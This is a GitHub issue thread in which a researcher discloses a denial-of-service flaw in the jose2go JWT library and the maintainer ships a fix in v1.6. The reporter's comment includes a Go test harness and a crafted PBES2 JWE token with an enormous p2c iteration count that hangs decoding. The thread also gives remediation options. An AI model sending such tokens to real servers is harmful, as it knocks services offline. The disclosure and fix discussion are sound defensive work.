Billion hashes attack against Decode function

[mschwager]

Hi there,

I'd like to report a potential security vulnerability in this repository. Using GitHub's private reporting would be easiest:

• Privately reporting a security vulnerability
  
• Configuring private vulnerability reporting for a repository
  

If that doesn't work, would you mind suggesting an alternative?

[dvsekhvalnov]

Hi @mschwager

thanks for reaching out. I've never used github private reporting before. Wouldn't it be easier just to reach out by email: [email protected] ? Also feel free to find me on LinkedIn - can use it as well.

[dvsekhvalnov]

@mschwager forgot to mention in email, strict alg validation (aka expected alg), can be done with

https://github.com/dvsekhvalnov/jose2go#two-phase-validation

may be need more docs on it with some library provided helpers.

[dvsekhvalnov]

Fixed as part of v1.6 release.
Notes https://github.com/dvsekhvalnov/jose2go#customizing-library-for-security

[mschwager]

For context, here was the initial report:

There were some new attacks against JWT presented at BlackHat this year: Three New Attacks Against JSON Web Tokens. The issue in jose2go is the same as the "billion hashes attack" described in this presentation. Specifically, an attacker can provide a PBES2 encrypted JWE blob with a very large p2c value that, when decoded, produces a DoS in the server. Here's a minimal code example:

package main

import (
	"flag"
	"fmt"

	"github.com/dvsekhvalnov/jose2go"
)

func main() {
	var jwe, key string
	flag.StringVar(&jwe, "jwe", "", "JWE value")
	flag.StringVar(&key, "key", "", "JWE key")
	flag.Parse()

	fmt.Println("Decrypting...")
	payload, headers, err := jose.Decode(jwe, key)
	if err != nil {
		panic(err)
	}

	fmt.Println("Decrypted:", string(payload))
	fmt.Println("Headers:", headers)
}

We can then run this script with a specially crafted JWE with a PBES2 alg and large p2c value:

$ go run main.go -jwe eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2Iiwia2lkIjoidGVzdCIsInAyYyI6MjE0NzQ4MzY0NywicDJzIjoiaHN3SDZnZS05WFNxMktwQ2JsTTc2ZyJ9.eBk8UWIZeBg4D-mXp3y3h1HZnsjpeXnqg8NqMfuVvp-7x43gbaOS_A.soS-VXbdCvo0Qzs384EMMw.UhsU-7oE4vCW6_gGYwMrwixVvK6H39M6wc7ptdZzKPw0aH-uDKW_0lu4e48TpFfFA7xBaK2iknIkUeJn59ydyzK3Gb5vtDVIQPqBmgIGWZY.1_Tw4HcqpP2O7L3mkWjGeg -key test
Decrypting...

So, if a server is performing JOSE decoding, and even if it's not intentionally supporting PBES2, it will be vulnerable to DoS. I would consider this a medium severity bug. This type of bug resulted in CVE-2022-36083 in a similar library in the JavaScript ecosystem, and this commit provided the fix. I see two good options for remediation:

1. If the library sees a PBES2 encrypted JWE, then check and make sure the p2c value is less than some reasonable value, like 10000 or 100000. If it's over that value then error out. This is what the JavaScript library did.
2. Require the expected "alg" value to be specified in the Decode function. This would prevent PBES2 blobs from being decrypted when they're not expected.

Option (2) is a bit more challenging to implement, but also more robust. It would be a backwards incompatible change to the API, but it removes any problems (and future problems) with attacker-specified "alg" values. In fact, this suggestion was made back in 2015 when dealing with the infamous "alg: none" issue that plagues JWT implementations. This was the approach another Golang JOSE library took.

[burningalchemist]

Hey @dvsekhvalnov, could you please create a tag for v1.6.0 whenever you have some time? 😃

[dvsekhvalnov]

@burningalchemist sure thing, added :)